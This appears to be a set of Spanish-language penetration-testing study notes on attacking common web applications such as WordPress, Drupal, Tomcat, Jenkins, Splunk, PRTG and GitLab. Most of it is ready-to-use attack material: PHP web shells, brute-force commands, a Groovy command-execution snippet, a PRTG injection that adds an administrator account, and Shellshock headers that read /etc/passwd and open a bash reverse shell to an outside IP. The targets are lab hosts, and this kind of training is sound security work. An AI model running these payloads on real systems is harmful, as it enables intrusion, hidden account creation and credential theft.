22 - Atacando Aplicaciones Comunes

Para escanear muchos hosts: EyeWitness o Aquatone.

CMS

WordPress

Directorios: wp-content/plugins, wp-content/themes.
terminal
$ sudo wpscan --url http://blog.inlanefreight.local --enumerate$ sudo wpscan --url http://blog.inlanefreight.local -e u   # usuarios$ sudo wpscan --url http://blog.inlanefreight.local -e p   # plugins$ ffuf -u http://metapress.htb/wp-content/plugins/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/wp_plugins.txt# Bruteforce$ wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
RCE: añadir system($_GET[0]); a la 404.php del tema y curl .../404.php?0=id. (Vulnerabilidades: 4% core, 89% plugins, 7% temas.)

Joomla / Drupal

terminal
droopescan scan joomla --url <URL>droopescan scan drupal --url <URL>
Drupal 7: habilitar el módulo PHP Filter, crear una página con formato "PHP code" e insertar <?php system($_GET['x']); ?>. Drupal 8: subir el módulo php-8.x. También se puede subir un módulo modificado (CAPTCHA) con un shell.php y .htaccess. Drupalgeddon (CVE-2014-3704), Drupalgeddon2 (CVE-2018-7600), Drupalgeddon3 (módulo de metasploit).

Contenedores Servlet

Tomcat

terminal
$ curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
El archivo tomcat-users.xml controla el acceso a /manager y /host-manager. Fuerza bruta: módulo scanner/http/tomcat_mgr_login. RCE: subir un WAR con un JSP web shell.

Jenkins

Consola en /script. RCE con Groovy:
groovy
def cmd = 'id'
def proc = cmd.execute()
proc.waitForOrKill(1000)
println proc.text

Herramientas de monitoreo

Splunk

Puertos 8000/8089 (SSL — importante usar https). A veces versión de prueba sin autenticación o credenciales por defecto (admin, changeme...). RCE: subir una app maliciosa (updater.tar.gz con rev.ps1) en /manager/search/apps/local.

PRTG Network Monitor

Credenciales por defecto prtgadmin:prtgadmin. RCE vía notificaciones (execute program):
txt
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add

Gestión del servicio al cliente

GitLab

terminal
$ ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt$ python3 gitlab_13_10_2_rce.py -t http://gitlab... -u mrb3n -p password1 -c '...nc 10.10.14.15 8443...'

Common Gateway Applications

Tomcat CGI / Shellshock

bash
$ ffuf -u http://10.129.205.30:8080/cgi/FUZZ -w .../common.txt -e .bat,.cmd -chttp://10.129.204.227:8080/cgi/welcome.bat?&dir# Shellshock (Bash <= 4.3)$ curl -H 'User-Agent: () { :; }; echo ; /bin/cat /etc/passwd' http://10.129.205.27/cgi-bin/access.cgi$ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://.../cgi-bin/access.cgi

Aplicaciones varias

ColdFusion

Puertos 80/443/8500. Cabeceras Server: ColdFusion. Ruta conocida /CFIDE/administrator/index.cfm. Unauthenticated RCE y Directory Traversal (msfconsole).

IIS — Tilde enumeration (8.3)

terminal
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

LDAP

terminal
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"
LDAP Injection: insertar caracteres en consultas LDAP para alterar la lógica:
txt
(&(objectClass=user)(sAMAccountName=*)(userPassword=dummy))

Mass Assignment

Un framework asigna automáticamente todos los campos enviados por el usuario a un modelo sin filtrar qué atributos están permitidos.